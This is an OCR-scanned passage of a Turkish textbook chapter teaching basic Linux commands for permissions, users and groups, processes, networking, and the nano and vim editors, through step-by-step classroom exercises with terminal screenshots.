12. Adim: Komut satirina chmod 777 Raporlar yazarak dizine tiim izinleri veriniz.
13. Adim: Komut satirina Is -Id Sonuglar Raporlar yazarak dosyalara ait erisim izin bilgilerini listeleyiniz.

14. Adim: Degisimi inceleyiniz (Gorsel 4.67).

[j;(ogrenciﬁBokuli—[~]

mikdir Sonuglar Raporlar

F——(ogrenciﬁ%okul)—[~]

—$ 1s -1d Sonug¢lar Raporlar

drwxr-xr-x 2 ogrenci ogrenci 4096 Agu 10 08:51 Raporlar
drwxr-xr-x 2 ogrenci ogrenci 4096 Agu 10 08:51 Sonucglar

r:-(ogrenciﬁaokulj—[~]
—$ chmod go-rx Sonuglar

r—-(ogrenci@ okul)-[~]

—$ 1s -1d Sonuglar Raporlar

drwxr-xr-x 2 ogrenci ogrenci 4096 Agu 10 08:51 Raporlar
ldrwx 2 ogrenci ogrenci 4096 Agu 10 08:51 Sonuglar

[:—(ogrenciééokull-[~]
$ chmod 777 Raporlar

(ogrenci® okul)-[~]
—$% 1s -1d Sonuglar Raporlar
drwxrwxrwx 2 ogrenci ogrenci 4096 ASu 10 08:51 NN
drwx 2 ogrenci ogrenci 4096 ASu 10 08:51 Sonuglar

Gorsel 4.67: Dizin erisim izinlerini degistirme

0 SIRA Erisim izinlerinin sayisal karsihigl 640 olan bir dosyanin erisim izinlerinin neler

m oldugunu bularak bir dosya iizerinde uygulayiniz.

12. UYGULAMA Yetkilendirme islemleri ile ilgili komutlarin kullanimini asagidaki
adimlar dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinliclisini aginiz.

2. Adim: Kullanicinin ev dizininde Kodlar isimli dizin ile kod.sh isimli dosyayi olusturunuz.

nm

3. Adim: Komut satirinda echo “echo ‘Merhaba’” > kod.sh yaziniz (Bu komut ile calistirilabilir bir kod

pargasi dosya icine aktarilir.).
4. Adim: kod.sh dosyasinin icerigini cat komutu kullanarak terminale yazdiriniz.

5. Adim: Komut satirina Is -| kod.sh yazarak dosyasinin erisim izinlerini inceleyiniz (Ekrana gelen ¢iktida
dosya sahibinin galistirma izninin olmadigi gorilir.).
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6. Adim: kod.sh dosyasini komut satirina ./kod.sh yazarak calistirmayi deneyiniz (Ekrana gelen ¢iktida
erisim engellendi uyarisi alacaksiniz.).

7. Adim: Komut satirina chmod u+x kod.sh yazarak kod.sh dosyasinin sahibine ¢alistirma izni veriniz.

8. Adim: Komut satirina ./kod.sh yazarak dosyayi calistirarak ekranda Merhaba mesajini gézlemleyiniz
(Gorsel 4.68).

L—$( ogrenci® okul)-[~]

mkdir Kodlar; touch kod.sh

I_—(ngrenci@okul)—[-\-]
$ echo "echo 'Merhaba'" > kod.sh

(ogrenci% okul)-[~]
l—_$ cat kod.sh
echo 'Merhaba'

ls -1 kod.sh
-rw-r--r-- 1 ogrenci ogrenci 15 Agu 1@ 09:29 kod.sh

L—( ogrencif® okul)-[~]
$

(ogrenci® okul)-[~]
|—_$ ./kod.sh
zsh: erisim engellendi: ./kod.sh

I_—(ogrenci@vokul)-["]
$ chmod u+x kod.sh

I_—( ogrenci® okul)-[~]
$ ./kod.sh
Merhaba

Gorsel 4.68: Calistirilabilir kod iceren dosyada yetkilendirme

13. UYGULAMA Yetkilendirme islemleri ile ilgili komutlarin kullanimini asagidaki
adimlar dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinliclstini aginiz.

2. Adim: Kullanicinin ev dizininde Plan isimli bir dosya olusturunuz.

3. Adim: Terminal ekraninda root kullanicisina gegis yapiniz.

4. Adim: Olusturdugunuz Plan isimli bir dosyanin erisim izinlerini gérintuleyiniz.

5. Adim: Dosya sahibini root olarak degistirmek icin komut satirina chown root Plan yaziniz.
6. Adim: Plan isimli bir dosyanin erisim izinlerini goriintileyiniz. Degisimi inceleyiniz.

7. Adim: Komut satirina chattr +i Plan yazarak dosya lizerinde degisiklik yapilmasini engelleyiniz.
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8. Adim: Komut satirina rm Plan yazarak, silme islemi gerceklestirerek isleme izin verilmedigini
gozlemleyiniz (Gorsel 4.69).

g(ogrenci@; okul)-[~]

touch Plan

E(ogrenci@okul)—[-—]
sudo su
[sudo] password for ogrenci:
E(root@ okul)-[/home/ogrenci]
# 1s -1 Plan
-rW-1r--1r-- 1 ogrenci @ Agu 10 10:02 Plan

L—(root@okul)—[/home/ogrenci]
# chown root Plan

E(root@ okul)-[/home/ogrenci]
# 1s -1 Plan
-rw-r--r-- 1 rootlogrenci © A8u 10 10:02 Plan

E(root@ okul)-[/home/ogrenci]
# chattr +i Plan

L—(root@okul)—[/home/ogrenci]
# rm Plan
rm: 'Plan' silinemedi: Isleme izin verilmedi

Gorsel 4.69: chown ve chattr komutlarinin 6rnek kullanimi

Bir dosyanin hem sahibini hem de grubunu degistirmek icin chown root:root
L a0t
[dosya adi] komut yapisi kullanilir. \E\

4.1.5.6. Kullanici ve Grup Yonetimi Komutlari

Kullanici ve grup yonetimi komutlari ile kullanici olusturma ve silme, grup olusturma ve silme, gruplari
gorintileme, gruba kullanici ekleme ve gruptan kullanici ¢ikarma gibi islemler gergeklestirilir. Kullanici
ve grup yonetimi komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.13’te verilmistir.

Tablo 4.13: Linux Kullanici ve Grup Yonetimi Komutlari

Komut Komutun Genel Kullanimi Agiklama

sudo useradd [yeni kullanici adi]
useradd

passwd [yeni kullanici adi] Kullanici olusturmak icin kullanilr.

adduser sudo adduser [yeni kullanici adi]

Kullanicinin yer aldigi gruplari sorgulamak icin

id sudo id [kullanici adi] kullanihr

userdel sudo userdel [kullanici adi] Kullanici silmek igin kullanilir.
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groupadd [ sudo groupadd [yeni grup adi] Grup olusturmak icin kullanilir.
groupdel [ sudo groupdel [grup adi] Grup silmek igin kullanihr.
getent getent group Gruplari goruntilemek icin kullanihr.

sudo gpasswd -a [kullanici] [grup] | Kullaniciyi bir gruba eklemek igin kullanihr.

gpasswd

sudo gpasswd -d [kullanici] [grup] | Kullaniciyi gruptan silmek icin kullanilir.

Kullanici eklemek gibi kalici islemler yapilirken kullaniciya yonetici (root) yetkisi "'1
verilmelidir. Sudo komutu kullanilarak sadece ilgili komutlar root yetkisi ile calistirilir. (\o_ <

14. UYGULAMA Kullanici islemleri ile ilgili komutlarin kullanimini asagidaki adimlar
dogrultusunda gercgeklestiriniz.

1. Adim: Ugbirim 6ykiinliclstini aginiz.

2. Adim: Komut satirina sudo adduser hakan komutunu yaziniz (Kullanici i¢in parola olusturmaniz
istenecektir.).

3. Adim: Komut satirina tail -n 1 /etc/passwd komutunu yazarak hakan kullanicisini gézlemleyiniz
(Gorsel 4.70).

L—(ogrenci@ okul)-[~]
$ sudo adduser hakan
[sudo] password for ogrenci:
Adding user “hakan' ...
Adding new group “hakan' (1004)
Adding new user “hakan' (1004) with group “hakan (1004)'
Creating home directory ~/home/hakan'’
Copying files from “/etc/skel'
Yeni parola:
Yeni parolayi tekrar girin:
passwd: sifre basariyla giincellendi
hakan igin kullanici bilgileri degistiriliyor
Yeni degeri girin, veya varsayilan deger ic¢in ENTER'a basin
Tam Isim []:
Oda Numarasi []:
is Telefonu []:
Ev Telefonu []:
Diger []:
Is the information correct? [Y/n] Y
Adding new user “hakan' to supplemental / extra groups “users'
Adding user “hakan' to group ‘users’

L—(ogrenci@ okul)-[~]
$ tail -n 1 fetc/passwd
hakan:x:1004:1004:,,,:/home/hakan:/bin/bash

Gorsel 4.70: Kullanici olusturma
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SIRA

QE — Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Komut satirindan useradd komutunu kullanarak yeni bir kullanici olusturunuz.

e Eklediginiz kullaniciya sudo passwd komutu ile parola da veriniz.
e Komut satirina cat /etc/passwd yazarak eklediginiz kullaniciyi gérintileyiniz.

e Komut satirindan userdel komutunu kullanarak kullaniciyi kaldiriniz.

15. UYGULAMA Grup islemleri ile ilgili komutlarin kullanimini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Ucgbirim 6ykiintcisini aginiz.
2. Adim: egitimci grubunu olusturunuz.
3. Adim: hakan kullanicisini egitimci grubuna ekleyiniz.

4. Adim: Komut satirina getent group yazarak gruplari listeleyiniz (Gorsel 4.71).

l_—(ogrenci@ okul)-[~]
$ sudo groupadd egitimci

I_—(ogrenci@ okul)-[~]
$ sudo gpasswd -a hakan egitimci
hakan kullanicisi egitimci grubuna ekleniyor

L—(ogrenci@ okul)-[~]
$ getent group | tac
egitimci:x:1006:hakan
fatih:x:1005:
hakan:x:1004: |
asan:x:1003:
kerem:x:1002:
zumre:x:1001:
vhnvef +w=00Q7 "

Gorsel 4.71: Grup olusturma ve gruba kullanici ekleme

SIRA On besinci uygulamadaki hakan kullanicisini egitimci grubundan kaldirarak

== egitimci grubunu siliniz. Ardindan komut satirina getent group yazarak
m gruplari listeleyiniz.
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L
4.1.5.7. Siire¢ Yonetimi Komutlari

Sureg¢ yonetimi komutlari ile ¢alisan siregleri anlik olarak izleme, calisan sirecleri sonlandirma gibi
islemler gerceklestirilir. Stire¢ yonetimi komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.14’te
verilmistir.

Tablo 4.14: Linux Sireg Yonetimi Komutlari

Komut Komutun Genel Kullanimi Agiklama
. Mevcut terminal Uzerinden calistiriimis sirecleri
P gorintdler.
ps
Sistemde ve terminallerde calisan tim siregleri
ps -aux o
gorintdler.
pstree pstree Calisan slirecleri hiyerarsik olarak gorintuler.
top top Calisan siiregleri anhk olarak goruntiler.
htop htop C?Ilfan..stlregl.eri aAnllk olérak gorintuler. Etkilesimli
gorintileme imkani verir.
kil kill [PID] Calisan slirecleri process id degerine gore sonlan-
kill -9 [PID] dirir.
killall [slireg ismi]
killall Calisan siirecleri isimlerine gore sonlandirir.
killall -9 [slireg ismi]

16. UYGULAMA Sure¢ yonetimi islemleri ile ilgili komutlarin kullanimini asagidaki

adimlar dogrultusunda gergeklestiriniz.
1. Adim: Ugbirim 6ykiinticlsini aginiz.

2. Adim: Uygulamalar menusiindeki arama cubuguna Mousepad yazarak arama sonucunda gelen
Mousepad uygulamasini aginiz.

3. Adim: Komut satirina ps -aux | grep mousepad yaziniz (Gorsel 4.72°de Mousepad PID degeri kutu
icine alinmistir.).

E(ogrenci@okul)—[-v]

$ ps -aux | grep mousepad

ogrenci [1304083] 0.1 1.5 568424 63116 ? sl 11:22 @:01 mousepad «——
ogrenci 1310477 0.0 0.0 6228 2304 pts/o S+ 11:34 0:00 grep --color=auto
ousepad

Gorsel 4.72: Mousepad slrecini izleme
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4. Adim: PID degerine gore slireci sonlandiriniz (Gorsel 4.73).

kill -9 1304083

l_—(ogrenci@ okul)-[~]
$

Gorsel 4.73: Sureci PID degerine gore sonlandirma

5. Adim: Komut satirina ps -aux | grep mousepad yaziniz [Mousepad slrecinin devam etmedigini
gormelisiniz (Gorsel 4.74).].

[:—(ogrenciﬁéokul)—[~]

$ ps -aux | grep mousepad

grenci 1311138 0.0 0.0 6228 2304 pts/0 S+ 11:36 0:00 grep --color=auto
ousepad

Gorsel 4.74: Mousepad slrecini izleme
6. Adim: Mousepad uygulamasini tekrar aginiz.

7. Adim: Komut satirina ps -aux | grep mousepad yaziniz (Gorsel 4.75’de Mousepad PID degeri kirmizi
cergeve icine alinmistir.).

[:—(ogrenciﬁéokul)—[~]

$ ps -aux | grep mousepad

grenci |1311332| 1.8 1.4 550480 56352 ? sl 11:36 0:00 mousepad +——
grenci 1311468 0.0 0.0 6228 2304 pts/0 S+ 11:36 0:00 grep --color=auto
ousepad

Gorsel 4.75: Mousepad siirecini izleme

8. Adim: Siireci adina gore sonlandiriniz (Gorsel 4.76).

l_—(ogrenci@ okul)-[~]
$ killall mousepad

Gorsel 4.76: Sireci adina gore sonlandirma
9. Adim: Komut satirina ps -aux | grep mousepad yaziniz (Sirecin sonlandigi gérilmelidir.).

10. Adim: Komut satirina top yaziniz (Gorsel 4.77).

top - 11:59:45 up 1 day, 21:086, 1 user, Lload average: 0,09, 0,09, 0,08
Tasks: 172 total, 1 running, 171 sleeping, 0 stopped, @ zombie
%Cpu(s): ©,2 us, 0,4 sy, 0,0 ni, 99,3 id, ©,0 wa, 0,0 hi, 0,0 si, 0,0 st
MiB Mem : 3915,0 total, 403,5 free, 3108,7 used, 746,6 buff/cache
MiB Swap: 975,0 total, 674,8 free, 300,2 used. 806,4 avail Mem
I S %CPU %MEN TIME+ COMMAND
1311832 ogrenci 20 0 11516 5376 3328 R 0,7 0,1 ©0:01.70 top
531 message+ 20 0 10656 5632 4096 S 0,3 0,1 ©:15.58 dbus-daemon
551 root 20 ® 333012 17752 13384 S 2,3 0,4 9:03.01 NetworkManag+
702 root 20 0 1124340 703148 129396 S 0,3 17,5 22:45.97 Xorg
1028 ogrenci 20 @ 217860 2564 2432 S e,3 2,1 4:07.54 VBoxClient
1156 ogrenci 20 @ 480120 33384 18784 S e,3 0,8 4:13.54 panel-13-cpu+
1 root 20 ®@ 167816 11248 8048 S 0,0 Q,3 0:04.55 systemd
2 root 20 0 ] [4] 0 S 0,0 0,0 0:00.03 kthreadd
3 root 0 -20 0 0 0I 0,0 0,0 ©0:00.00 rcu_gp
4 root o -20 1] 0 01I 0,0 0,0 0:00.00 rcu_par_gp
5 ront a _-20 0 Qa 0T a0 [/, ] A:00 00 slub flushwa |

Gorsel 4.77: Anlik calisan strecler
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11. Adim: Komut satirina pstree yazarak calisan sireclerin hiyerarsik yapisini gézlemleyiniz (Gorsel
4.78).

E( ogrenci® okul)-[~]
$ pstree

systemd——ModemManager——3*[ {ModemManager}]
—NetworkManager—3x[{NetworkManager}]
—3*[VBoxClient——VBoxClient——3«[{VBoxClient}]]
—VBoxClient—VBoxClient—4x[{VBoxClient}]
—VBOoXDRMClient—4*[{VBoxDRMClient}]
—VBoxService—=8=[{VBoxService}]

—agetty
—colord—-3=*[{colord}]
—cron

—dbus-daemon

—haveged

—lightdm——Xorg——{Xorg}

lightd xfce4-session——Thunar—=6*[{Thunar}]
agent—3x*[ {agent}]
blueman-applet—4*[{blueman-applet}]
light-locker—4*x[{light-locker}]

nm-applet 4%[{nm-applet}]

nnllrit _onnme_an el Innllit _aoname_anls

Gorsel 4.78: Calisan sireclerin hiyerarsik yapisi

SIRA

QE — Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

Sistemde ve terminallerde calisan tim sireclerinizi goriintuleyiniz.

htop komutu ile anlik stireg takibi yapiniz.

Hesap makinesi uygulamasini aginiz. PID numarasini tespit ediniz.

PID degerine gore sireci sonlandiriniz.

4.1.5.8. Ag Komutlan

Ag komutlari ile IP yapilandirmalarini inceleme ve degistirme, iletisim testi yapma, IP yonlendirme
tablosunu inceleme, rota izleme, host bilgisi alma, DNS kayitlarina bakma gibi islemler gerceklestirilir.
Ag komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.15’te verilmistir.

Tablo 4.15: Linux Ag Komutlar

Komut Komutun Genel Kullanimi Aciklama
!fconf!g Ag bagdastiricilarini ve IP adresi, subnet maskesi
i i ifconfig wlan0 ibi bilgileri listeler.
ifconfig ifconfig eth0 & & ’
ifconfig [ag bagdastirici] [yeni IP] | Belirtilen ag bagdastiricisinin IP adresini degistirir.
. Kaynak ve hedef sistem arasinda iletisim testi yapar.
. ping (hedef adres] iletisim testi Ctrl + C ile sonlandirilir.
in
ping ing -c [adet] [hedef adres] Kaynak ve hedef sistem arasinda iletisim testi
ping yapmak icin belli sayida paket gonderir.
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route route -n Sistemdeki IP yonlendirme tablosunu gosterir.
traceroute | traceroute [hedef adres] Hedefe gonderilen paketin gectigi hostlari gosterir.
host [hedef adres] IP adresinden alan adina, alan adindan IP adresine
host . o
host [IP adresi] ulasiimasini saglar.
dig dig [hedef adres] DNS kayitlarina bakmak icin kullanilir.
17. UYGULAMA Ag islemleri ile ilgili komutlarin kullanimini asagidaki adimlar

dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinticlsini aginiz.

2. Adim: Ag bagdastiricilarini ve IP yapilandirmalarini gériintilemek icin komut satirina ifconfig yaziniz
(Gorsel 4.79).

L—(ogrenci@okul)—[ﬂ
$ ifconfig
ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.80 broadcast 10.0.2.255
ineté fe80::a00:27ff:fed9:7e6f prefixlen 64 scopeid 0x20<link>
ether 08:00:27:d9:7e:6f txqueuelen 1000 (Ethernet)
RX packets 27052 bytes 36221206 (34.5 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 7731 bytes 752801 (735.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 52 bytes 3120 (3.0 KiB)
RX errors @ dropped @ overruns 0 frame 0
TX packets 52 bytes 3120 (3.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Gorsel 4.79: IP yapilandirmalarini gérintiileme

3. Adim: Komut satirina ifconfig lo yazarak sadece localhost baglanti bilgilerini goriintlleyiniz (Gorsel
4.80).

l_—(ogrenci@ okul)-[~]
$ ifconfig lo
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

ineté ::1 prefixlen 128 scopeid @x1@<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 52 bytes 3120 (3.0 KiB)

RX errors @ dropped @ overruns © frame 0

TX packets 52 bytes 3120 (3.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

Gorsel 4.80: localhost IP bilgileri
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4. Adim: Ag bagdastiricinizin IP adresini degistirerek, ekranda IP adresinin degisip degismedigini
dogrulayiniz (Gorsel 4.81).

E(ogrenci@ okul)-[~]
$ sudo ifconfig etho 10.0.2.20

E-(ogrenci@okul)-[~]
$ ifconfig ethe
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.20 netmask 255.0.0.0 broadcast 10.255.255.255
inet6 fe80::a00:27ff:fed9:7e6f prefixlen 64 scopeid 0x20<link>
ether 08:00:27:d9:7e:6f txqueuelen 1000 (Ethernet)
RX packets 27052 bytes 36221206 (34.5 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 7731 bytes 752801 (735.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Gorsel 4.81: IP ayarlama

5. Adim: Bilgisayarinizla google.com arasinda 5 adet paket gonderilecek sekilde iletisim testi
gerceklestiriniz (Gorsel 4.82).

E[ogrenci@okul)-[ﬂ

$ ping -c 5 ww.google.com

PING www.google.com (172.217.17.132) 56(84) bytes of data.

64 bytes from sof02s48-in-f4.1el100.net (172.217.17.132): icmp_seq=1 ttl=58 time=12.9
ms

64 bytes from sof02s48-in-f4.1el00.net (172.217.17.132): icmp_seq=2 ttl=58 time=12.0
ms

64 bytes from sof@2s48-in-f4.1el100.net (172.217.17.132): icmp_seq=3 ttl=58 time=11.9
ms

64 bytes from ams15s30-in-f132.1e100.net (172.217.17.132): icmp_seq=4 ttl=58 time=12.
8 ms

64 bytes from ams15s30-in-f132.1e100.net (172.217.17.132): icmp_seq=5 ttl=58 time=12.
1 ms

— www.google.com ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4022ms
rtt mjn(anglmaggmdey = 11.917/12.338/12.864/0.394 ms

Gorsel 4.82: iletisim testi gerceklestirme

6. Adim: Komut satirina host 8.8.8.8 yaziniz. Alan adini 6greniniz (Gorsel 4.83).

L—(ugrenci@ okul)-[~]
$ host 8.8.8.8
8.8.8.8.1in-addr.arpa domain name pointer dns.google.

Gorsel 4.83: Alan adi 6§renme

7. Adim: Komut satirina dig eba.gov.tr yazarak DNS kayitlarindan IPv4 adresini 6greniniz (Gorsel 4.84).

E(ogrenci@ okul)-[~]
$ dig eba.gov.tr

;; ANSWER SECTION:
eba.gov.tr. 3318 IN A 85.111.38.85

;7 Query time: 8 msec

i SERVER: 1.1.1.1#53(1.1.1.1) (CUDP)
;3 WHEN: Thu Aug 10 16:18:11 +03 2023
i+ MSG SIZE rcvd: 55

Gorsel 4.84: DNS kayitlarini sorgulama
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SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Ag bagdastiricilarinizi ve IP yapilandirmalarinizi listeleyiniz.

e Komut satirinda ifconfig ethO down yazarak Ethernet bagdastiricinizi kapatiniz.
e Komut satirinda ifconfig ethO up yazarak Ethernet bagdastiricinizi aginiz.
e Komut satirinda route -n yaziniz.

e Sisteminizdeki IP yonlendirme tablosunu inceleyiniz.

4.1.6. Linux isletim Sistemi Editérleri

En ¢ok kullanilan metin editérleri nano ve vim araglaridir. Bu
araglar, metinler Uzerinde islem yapabilmek icin sikca kullanilr.

l_—(ogrenci@ okul)-[~]
$ nano
Nano ve vim editorleri sadece terminal tabanli erisime sahiptir.

isimlerl}

Gorsel 4.85: nano editori ile dosya

nano Metin Editorii: Komut satiri araylzi Uzerinden kullanilan
olusturma

konsol tabanl bir metin dizenleyicisidir. Bir dosyayl nano ile
acmak icin komut satirina nano [dosya adi] yazilir (Gorsel 4.85).

Komut calistirildiktan sonra dosya nano editori ile agilir (Gorsel 4.86). Nano editori Ug kisimdan
olusur. ilk kisimda dosya adi, lizerinde islem yapilip yapilmadigi ve versiyon bilgisi yer alir. ikinci
kisimda dosyanin icerigi bulunur. Ugiincii kisimda ise nano editériinde kullanilan kisayollar gsterilir.

GNU nano 7.2 isimler =
Halan

ALi 1

Metin
Alev
Ceyda
Selim
Kerem
Beyza
Merve 2
Fatih
Zeynep
Ebru

Sserap 3

Yardim i vaz Nerede Wi Kes B Calistir @ Konum
Gik M Dosya Oku Degistir |l Yapistir | Yasla Wi Ssatira Git

Gorsel 4.86: nano editori araytzi

nano editori Gizerinde islem yaparken varsayilan olarak mouse ¢alismaz. Bu nedenle imleg bir noktadan
diger bir noktaya mouse ile tasinamaz. Nano editori acikken Esc ve M tus kombinasyonu kullanilarak
mouse aktif edilebilir. Tekrar ayni tus kombinasyonu ile mouse kullanim disi birakilabilir. En cok kullanilan
kisayollar sunlardir:

e Ctrl +X e Ctrl+0
Editorden cikis yapar. Degisiklikleri kaydeder.
e Ctrl+R e Ctrl+W

Dosya agar. Dosya icinde arama yapar.
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L
Kisayollar hakkinda daha fazla bilgi almak icin Ctrl ve G tus kombinasyonuyla yardim metni acilabilir.
vim Metin Editorii: Komut satiri araylizii Gzerinden kullanilan konsol tabanli bir metin diizenleyicisidir.

vim, Linux sistemlerde varsayilan diizenleyicidir. Bir dosyayi vim ile agmak icin komut satirina vim [dosya
adi] yazilir (Gorsel 4.87).

E( ogrenci® okul)-[~]
$ vim isimler

Gorsel 4.87: vim editori ile dosya olusturma

Komut calistirildiktan sonra dosya, vim editor ile agilir (Gorsel 4.88).

Hakan
Ali
Metin
Alev
Ceyda
Selim
Kerem
Beyza
Merve
Fatih
Zeynep
Ebru
Serap

-- GORSEL -- 1 14,0-1 Tiim Belge

Gorsel 4.88: vim editori arayizi

vim editort Gg farkli modda calisir. Klavye tuslari her modda farkli bir amacg icin kullanihr.
Klavye tuslarinin amaci bazen komut girmek bazen de metin diizenlemek olabilir. Bu editérde
kullanilan modlar sunlardir:

e Komut Modu (Command Mode)

vim editéri agildiginda komut modunda olur. Bu modda yazilan karakterler komut olarak
yorumlanir. Dosya iginde hareket etme, dosyadaki bir metin pargasini silme, kopyalama ve
yapistirma islemleri komut modunda gergeklestirilir. Baska bir moddan komut moduna girmek
icin Esc tusuna basiimalidir.

e Ekleme Modu (Insert Mode)

Ekleme modu sayesinde metinsel ifadeler dosyaya eklenebilir. Bu modda yazilan her sey vim
editoriinde girdi olarak yorumlanir. Ekleme moduna girmek icin i tusuna basiimahdir. Ekleme
modundan komut moduna donmek icin Esc tusu kullanilir.

e Satir Modu (Last Line Mode)

Komut modunda : (iki nokta) yazilarak satir modu gagrilir. imle¢ ekranin son satirina atlayarak
kullanicidan bir komut bekler. Bu modda dosyalari kaydetme, komutlari calistirma gibi gérevler
gerceklestirilir.

vim editériinde ekleme modundayken dosyada metin diizenlemeleri yapilir. Metin dizenlemesi
bittikten sonra Esc tusuna basilarak komut moduna donilir. Komut modunda yapilmak istenen islemle
ilgili komut girilir. Komut kullanimina 6rnek olarak :wq! verilebilir. vim editoériinde en ¢ok kullanilan
komutlar sunlardir:
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:q : Editérden cikis yapar.
e :w: Degisiklikleri kaydeder.

e :wq : Degisiklikleri kaydeder ve ¢ikis yapar.

:q!: Zorla ¢ikis yapar.

:x : Degisiklikleri kaydeder ve editérden ¢ikis yapar.

:/ : Metin icinde arama yapmak icin kullanilir. Aramaya devam etmek icin n tusu kullanilir.

:d : imlecin bulundugu satiri siler.

yy : imlecin bulundugu satiri kopyalar.

p : Kopyalanan veriyi imlecin bulundugu satirin altina yapistirir.

P : Kopyalanan veriyi imlecin bulundugu satirin tstline yapistirir.

18. UYGULAMA nano metin editériniin kullanimini asagidaki adimlar dogrultusunda
gerceklestiriniz.
1. Adim: Ugbirim 6ykiinliclstni a¢ip komut satirina nano kullanici.txt yazarak nano editorind aginiz.
2. Adim: nano editorini kullanarak dosyayi kullanici adlari ile doldurunuz (Gérsel 4.89).

3. Adim: Kullanici isimlerini yazdiktan sonra Ctrl ve O tus kombinasyonuyla kullanici.txt adi ile dosyayi
kaydederek Ctrl, K ve X tus kombinasyonuyla editorden ¢ikis yapiniz.

4. Adim: nano editoriyle kullanici.txt dosyasini tekrar acip, dosya icinde yer alan demet ismini silerek
yerine dilara ismini ekleyiniz.

5. Adim: Dosyadaki degisikligi kaydedip editorl kapatiniz.

6. Adim: Komut satirina cat kullanici.txt yazarak dosyadaki degisikligi inceleyiniz (Gorsel 4.90).

GNU nano 7.2 kullanici.txt =* (ogrenci® okul)-[~]
ahmet [:; cat kullanici.txt
hasan ahmet
mert hasan
demet mert
fatma dilara
zeynep fatma
esra zeynep
ali esra
burak ali
alev burak
| ] alev

Gorsel 4.89: kullanici.txt dosyasinin icerigi Gorsel 4.90: Dosya icerigini konsola yazdirma
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19. UYGULAMA vim metin editérinin kullanimini asagidaki adimlar dogrultusunda
gerceklestiriniz.

1. Adim: Ugbirim &ykiinticistini agip komut satirina vim parola. {1234
txt yazarak vim editorini aginiz. password

2. Adim: vim editériinde kullanici parolalarini yazabilmek icin  |3pc123
komut modundan ekleme moduna geginiz (Bunun igin i tusuna querty

basiniz.). adimin

3. Adim: Parolalari dosyaya ekleyiniz. 1988
4. Adim: Dosyayi kaydetmek icin Esc tusu ile komut moduna 12345

doniniz. 1453
5. Adim: Komut modunda :wq! yazip, Enter tusuna basarak burak

kaydetme islemini tamamlayiniz (Gorsel 4.91). e ans

6. Adim: Komut satirina cat parola.txt yazarak dosyadaki icerigi
konsola yazdiriniz (Goérsel 4.92). Gorsel 4.91: parola.txt dosyasi icerigi
7. Adim: Komut satirina paste kullanici.txt parola.txt yazarak iki

dosyadaki icerigi stitun bazl birlestiriniz (Gorsel 4.93).

L—(ogrenci@ okul)-[~] ’_—(ogrenci@ okul)-[~]
cat parola.txt $ paste kullanmici.txt parola.txt
1234 ahmet 1234
password hasan password
abc123 mert abc123
qwerty dilara qwerty
admin fatma  admin
1988 zeynep 1988
12345 esra 12345
1453 ali 1453
burak burak burak
adana alev adana
Gorsel 4.92: Dosya icerigini konsola yazdirma Gorsel 4.93: paste komutunun 6rnek kullanimi

0 SIRA nano metin editdriinde istiklal Marsi’nin ilk kitasini yazip vim metin editdriini

m kullanarak ayni dosyaya istiklal Marsi’nin ikinci kitasini ekleyiniz.

20. UYGULAMA Linux komutlarinin kullanimini asagidaki adimlar dogrultusunda
gercgeklestiriniz (Gorsel 4.94).

1. Adim: Ugbirim 6ykiinticlisini aginiz.
2. Adim: Kullanicinin Masadusti dizinine geginiz.

3. Adim: Komut satirina mkdir -p Bilgiler/10A/Grup1; mkdir -p Bilgiler/10A/Grup2 yazarak ic ice
dizinler olusturunuz.
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4. Adim: Komut satirina Is Bilgiler/10A yazarak dizin icerigini listeleyiniz (Grup1 ve Grup2 dizinlerinin
olustugundan emin olunuz.).

5. Adim: Masalstiinde G1.txt ve G2.txt dosyalarini touch komutunu kullanarak olusturunuz.

6. Adim: Komut satirina Is yazarak dizin icerigini listeleyiniz (G1.txt ve G2.txt dosyalarinin olustugundan
emin olunuz.).

‘.—F ogrenci® okul )-[~]
% cd Masaiistii
r—(ogrenci® okul )-[~/Masaiistii]

L¢ mkdir -p Bilgiler/10A/Grupl; mkdir -p Bilgiler/10A/Grup2

r—(ogrenci® okul)-[~/Masaiistii]
—$ 1s Bilgiler/10A
Grupl Grup2

— ogrenci® okul )-[~/Masaiistii]
—$ touch Gl.txt; touch G2.txt
‘—\.ogrenci@okul} [~/Masaiistii]
Bilgiler Gl.txt G2.txt Konular logo.png Odevler

Gorsel 4.94: cd, mkdir, Is ve touch komutlarinin 6rnek kullanimi

7. Adim: Komut satirina nano G1.txt yazip, dosyanin igine 1. grupta yer alacak kisilerin isimlerini ekle-
yerek dosyayi kaydediniz (Gorsel 4.95).

8. Adim: Komut satirina cat G1.txt > G2.txt yazip, G1.txt dosyasi icerigini G2.txt dosyasina yonlendirme
islemi uygulayarak kopyalayiniz.

9. Adim: Komut satirina vim G2.txt yazip, dosyanin icindeki iki ismi degistirerek dosyay kaydediniz
(Gorsel 4.96).

Kemal A, &———
Hakan V.
ustafa A.
Cihan u.
Pinar F. +——
erve K.
Gorsel 4.95: G1.txt dosyasi icerigi Gorsel 4.96: G2.txt dosyasi icerigi

10. Adim: Komut satirina diff G1.txt G2.txt yaziniz.
11. Adim: iki dosya arasindaki farkliliklari inceleyiniz (Gorsel 4.97).

